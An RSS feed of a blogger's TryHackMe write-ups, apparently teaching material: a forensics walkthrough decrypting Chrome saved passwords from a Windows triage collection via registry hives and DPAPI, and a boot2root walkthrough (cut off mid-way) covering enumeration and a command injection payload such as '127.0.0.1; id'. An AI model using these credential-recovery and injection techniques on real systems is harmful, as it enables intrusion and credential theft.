<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Md. Ibrahim Reza Rabbi</title>
    <description>The latest articles on DEV Community by Md. Ibrahim Reza Rabbi (@ibrahim71reza).</description>
    <link>https://dev.to/ibrahim71reza</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3886474%2Fb6184b8c-0cdf-45b1-a795-6c8132634a9f.png</url>
      <title>DEV Community: Md. Ibrahim Reza Rabbi</title>
      <link>https://dev.to/ibrahim71reza</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ibrahim71reza"/>
    <language>en</language>
    <item>
      <title>Management Wants a Word: TryHackMe Forensics Writeup</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Sun, 09 Aug 2026 17:27:30 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/management-wants-a-word-tryhackme-forensics-writeup-273i</link>
      <guid>https://dev.to/ibrahim71reza/management-wants-a-word-tryhackme-forensics-writeup-273i</guid>
      <description>&lt;p&gt;&lt;strong&gt;Challenge Goal&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We are given a Windows KAPE triage collection from a laptop used by a guest named Vera. The goal is to follow the forensic artifacts, recover a hidden password, use it to open what Vera was hiding, and recover the flag.&lt;/p&gt;

&lt;p&gt;Flag format starts with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Initial Enumeration&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;After extracting the task files, the main directory contained a KAPE collection:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Get-ChildItem&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-Force&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Important paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;KAPE\C\Users\vera\
KAPE\C\Users\vera\Documents\backup
KAPE\C\Users\vera\AppData\Local\Google\Chrome For Testing\User Data\
KAPE\C\Windows\System32\config\SAM
KAPE\C\Windows\System32\config\SYSTEM
KAPE\C\Windows\System32\config\SECURITY
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The file &lt;code&gt;Documents\backup&lt;/code&gt; had no extension and looked like random data when viewed in hex. This is a strong hint for an encrypted container.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Clue From The Story&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The social media clue says:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;a browser will remember things for you
not every hidden file needs a password cracker
version number 1.26.29
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That points to two things:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Browser saved credentials
VeraCrypt 1.26.29
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the plan became:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Check Chrome artifacts.&lt;/li&gt;
&lt;li&gt;Recover the saved browser password.&lt;/li&gt;
&lt;li&gt;Use that password on the suspicious &lt;code&gt;backup&lt;/code&gt; file.&lt;/li&gt;
&lt;li&gt;Extract the hidden content and find the flag.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Chrome History&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The Chrome history database was here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;KAPE\C\Users\vera\AppData\Local\Google\Chrome For Testing\User Data\Default\History
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using SQLite:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;sqlite3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"KAPE\C\Users\vera\AppData\Local\Google\Chrome For Testing\User Data\Default\History"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;".tables"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then query visited URLs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;last_visit_time&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000000&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;11644473600&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;'unixepoch'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;last_visit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;title&lt;/span&gt;
&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;urls&lt;/span&gt;
&lt;span class="k"&gt;order&lt;/span&gt; &lt;span class="k"&gt;by&lt;/span&gt; &lt;span class="n"&gt;last_visit_time&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Interesting result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://bytelotus.thm:8080/login
http://bytelotus.thm:8080/
SecureVault Portal
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So Vera used a portal called &lt;code&gt;SecureVault&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Chrome Saved Login&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The saved login database was here:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;KAPE\C\Users\vera\AppData\Local\Google\Chrome For Testing\User Data\Default\Login Data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Query:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="n"&gt;origin_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;action_url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username_value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;logins&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;origin_url: http://bytelotus.thm:8080/
username: VeraSecretVault
password_value: encrypted Chrome v10 blob
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Chrome passwords are encrypted with Windows DPAPI, so we need Vera’s DPAPI material.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Recover Windows/DPAPI Secret&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The KAPE collection included Windows registry hives:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SAM
SYSTEM
SECURITY
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using &lt;code&gt;pypykatz&lt;/code&gt;, the offline registry secrets revealed:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LSA Default Password
Username: UNKNOWN
Password: minivera
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This password was important because it allowed decrypting Vera’s DPAPI masterkey.&lt;/p&gt;

&lt;p&gt;Vera’s DPAPI masterkey folder:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;KAPE\C\Users\vera\AppData\Roaming\Microsoft\Protect\S-1-5-21-2529683458-431225740-1723070931-1000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The Chrome &lt;code&gt;Local State&lt;/code&gt; file contained the encrypted Chrome key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;KAPE\C\Users\vera\AppData\Local\Google\Chrome For Testing\User Data\Local State
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After decrypting the DPAPI masterkey with &lt;code&gt;minivera&lt;/code&gt;, the Chrome saved password decrypted to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Wh4t1sV3raD0inG0nTh1sH0st
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Opening The Hidden Container&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The suspicious file was:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;KAPE\C\Users\vera\Documents\backup
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It had no signature and looked fully random. Combined with the &lt;code&gt;1.26.29&lt;/code&gt; clue, this indicated a VeraCrypt container.&lt;/p&gt;

&lt;p&gt;Use the recovered password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Wh4t1sV3raD0inG0nTh1sH0st
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open or mount the file with VeraCrypt.&lt;/p&gt;

&lt;p&gt;Once opened, the container contained:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;secret_financial_documents\
important_invoice_byte_lotus.pdf
transactions_q3.csv
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Finding The Flag&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The CSV was not the flag. The PDF looked like an invoice, but it was image-based, so normal text extraction may return nothing.&lt;/p&gt;

&lt;p&gt;Render or open the PDF visually. The invoice contains a line item with the flag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Flag: THM{1t_w4s_****_A11_*******}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Final Answer&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;THM{1t_w4s_****_A11_*******}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key Takeaways&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Chrome saved credentials can be recovered from triage data if the DPAPI masterkey can be decrypted.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;SECURITY&lt;/code&gt;, &lt;code&gt;SAM&lt;/code&gt;, and &lt;code&gt;SYSTEM&lt;/code&gt; hives are extremely valuable in Windows forensics.&lt;/p&gt;

&lt;p&gt;A file with no extension and random-looking bytes may be an encrypted container.&lt;/p&gt;

&lt;p&gt;The clue &lt;code&gt;1.26.29&lt;/code&gt; was the giveaway for VeraCrypt.&lt;/p&gt;

&lt;p&gt;Official VeraCrypt format reference: &lt;a href="https://veracrypt.io/en/VeraCrypt%20Volume%20Format%20Specification.html" rel="noopener noreferrer"&gt;https://veracrypt.io/en/VeraCrypt%20Volume%20Format%20Specification.html&lt;/a&gt;&lt;/p&gt;

</description>
      <category>forensics</category>
      <category>windows</category>
      <category>cryptography</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe Infinity Pool -Complete Boot2Root Walkthrough</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Sat, 08 Aug 2026 16:23:52 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/tryhackme-infinity-pool-complete-boot2root-walkthrough-ibb</link>
      <guid>https://dev.to/ibrahim71reza/tryhackme-infinity-pool-complete-boot2root-walkthrough-ibb</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Category:&lt;/strong&gt; CTF / Boot2Root / Web Exploitation / Linux Privilege Escalation&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner–Intermediate&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Key Techniques:&lt;/strong&gt; Reconnaissance, Source Code Analysis, OS Command Injection, Reverse Shells, Internal Service Enumeration, Credential Leakage, SSH Port Forwarding, Bearer Token Discovery, Privilege Escalation&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Infinity Pool&lt;/strong&gt; is a Linux Boot2Root challenge that demonstrates an important lesson in offensive security:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;A system does not always fall because of one critical vulnerability. Sometimes several smaller security mistakes combine into a complete compromise.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The attack chain in this room includes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Reconnaissance
      ↓
Hidden Endpoint Discovery
      ↓
Command Injection
      ↓
Reverse Shell as web
      ↓
Internal Service Enumeration
      ↓
Credential Disclosure
      ↓
SSH Port Forwarding
      ↓
Authentication Token Discovery
      ↓
Second Command Injection
      ↓
Root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;What makes this challenge particularly useful is that every stage introduces a real-world security concept.&lt;/p&gt;

&lt;p&gt;By the end of the walkthrough, we will have covered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Nmap reconnaissance&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;robots.txt&lt;/code&gt; enumeration&lt;/li&gt;
&lt;li&gt;JavaScript source-code analysis&lt;/li&gt;
&lt;li&gt;OS command injection&lt;/li&gt;
&lt;li&gt;Reverse shells&lt;/li&gt;
&lt;li&gt;Linux internal enumeration&lt;/li&gt;
&lt;li&gt;Localhost-only services&lt;/li&gt;
&lt;li&gt;Gunicorn processes&lt;/li&gt;
&lt;li&gt;Credential leakage&lt;/li&gt;
&lt;li&gt;SSH local port forwarding&lt;/li&gt;
&lt;li&gt;FreePBX UCP&lt;/li&gt;
&lt;li&gt;Bearer token authentication&lt;/li&gt;
&lt;li&gt;Command injection in a privileged service&lt;/li&gt;
&lt;li&gt;Linux privilege escalation&lt;/li&gt;
&lt;li&gt;Defensive mitigation techniques&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  1. Reconnaissance
&lt;/h1&gt;

&lt;p&gt;Every penetration test should begin by understanding the target's externally exposed attack surface.&lt;/p&gt;

&lt;p&gt;For this walkthrough, I will use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;TARGET_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;TARGET_IP&amp;gt;
&lt;span class="nv"&gt;ATTACKER_IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;YOUR_VPN_IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Replace these placeholders with the addresses assigned to your TryHackMe environment.&lt;/p&gt;




&lt;h2&gt;
  
  
  1.1 Nmap Scan
&lt;/h2&gt;

&lt;p&gt;Start with a service and operating-system enumeration scan:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-Pn&lt;/span&gt; &lt;span class="nv"&gt;$TARGET_IP&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Why these options?
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Option&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-A&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Enables service detection, OS detection, default scripts, and traceroute&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-Pn&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Treats the target as online without relying on ICMP discovery&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;-oN&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Saves results in normal text format&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The scan reveals two externally accessible services:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;22/tcp  - SSH
80/tcp  - HTTP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The HTTP service is running behind &lt;strong&gt;Gunicorn&lt;/strong&gt;, strongly suggesting a Python-based web application.&lt;/p&gt;

&lt;p&gt;Because the web application exposes considerably more attack surface than SSH, that becomes our initial focus.&lt;/p&gt;




&lt;h1&gt;
  
  
  2. Web Enumeration
&lt;/h1&gt;

&lt;p&gt;Visit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://TARGET_IP/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application initially appears to be a normal hotel-themed landing page.&lt;/p&gt;

&lt;p&gt;Nothing immediately indicates a vulnerability.&lt;/p&gt;

&lt;p&gt;This is where basic web enumeration becomes important.&lt;/p&gt;




&lt;h2&gt;
  
  
  2.1 Always Check &lt;code&gt;robots.txt&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;One of the first files worth checking on a web application is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/robots.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&lt;span class="nv"&gt;$TARGET_IP&lt;/span&gt;/robots.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The response contains:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;User-agent: *
Allow: /
Disallow: /internal/
Disallow: /status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two interesting paths immediately appear:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/internal/
/status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Important Concept: &lt;code&gt;robots.txt&lt;/code&gt; Is Not Security
&lt;/h3&gt;

&lt;p&gt;A common mistake is treating paths listed inside &lt;code&gt;robots.txt&lt;/code&gt; as hidden.&lt;/p&gt;

&lt;p&gt;They are not.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;robots.txt&lt;/code&gt; simply tells compliant search-engine crawlers which resources they should avoid indexing.&lt;/p&gt;

&lt;p&gt;Anyone can request the file.&lt;/p&gt;

&lt;p&gt;In security testing, entries such as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Disallow: /admin
Disallow: /backup
Disallow: /internal
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;can actually become useful enumeration clues.&lt;/p&gt;




&lt;h1&gt;
  
  
  3. JavaScript Source-Code Analysis
&lt;/h1&gt;

&lt;p&gt;Another important enumeration technique is examining client-side JavaScript.&lt;/p&gt;

&lt;p&gt;Open the application's page source and identify referenced JavaScript files.&lt;/p&gt;

&lt;p&gt;One interesting file is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/static/app.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It can also be downloaded directly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://&lt;span class="nv"&gt;$TARGET_IP&lt;/span&gt;/static/app.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Inside the JavaScript is a developer comment similar to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// TODO(ops): the staff connectivity tool at /status posts to the legacy&lt;/span&gt;
&lt;span class="c1"&gt;// /internal/netcheck handler. Keep it out of the public nav until the new&lt;/span&gt;
&lt;span class="c1"&gt;// auth gateway ships. Disallowed in robots.txt for now.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is valuable information.&lt;/p&gt;

&lt;p&gt;We now know that:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;contains a staff connectivity utility that submits data to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/internal/netcheck
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This illustrates an important reconnaissance principle:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Client-side source code should always be considered publicly accessible.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Developer comments, API routes, debugging code, credentials, feature flags, and internal endpoint names frequently leak through JavaScript.&lt;/p&gt;




&lt;h1&gt;
  
  
  4. Investigating &lt;code&gt;/status&lt;/code&gt;
&lt;/h1&gt;

&lt;p&gt;Navigate to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://TARGET_IP/status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The page contains a simple connectivity checker.&lt;/p&gt;

&lt;p&gt;Its HTML form is effectively:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"/internal/netcheck"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt;
        &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"text"&lt;/span&gt;
        &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"host"&lt;/span&gt;
        &lt;span class="na"&gt;placeholder=&lt;/span&gt;&lt;span class="s"&gt;"property host e.g. 10.0.0.5"&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;button&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"submit"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Check&lt;span class="nt"&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The interesting parameter is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;host
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The application apparently accepts a hostname or IP address and performs some type of network connectivity test.&lt;/p&gt;

&lt;p&gt;That immediately raises an important question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Is the application passing this input into an operating-system command such as &lt;code&gt;ping&lt;/code&gt;?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If so, insufficient sanitization could create an &lt;strong&gt;OS Command Injection&lt;/strong&gt; vulnerability.&lt;/p&gt;




&lt;h1&gt;
  
  
  5. OS Command Injection
&lt;/h1&gt;

&lt;h2&gt;
  
  
  5.1 What Is Command Injection?
&lt;/h2&gt;

&lt;p&gt;Imagine the backend executes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &amp;lt;USER_INPUT&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we enter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;the server executes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is expected behavior.&lt;/p&gt;

&lt;p&gt;But suppose we submit:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;127.0.0.1; id
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The resulting shell command becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 127.0.0.1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The semicolon terminates the first command and begins another.&lt;/p&gt;

&lt;p&gt;The server therefore executes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
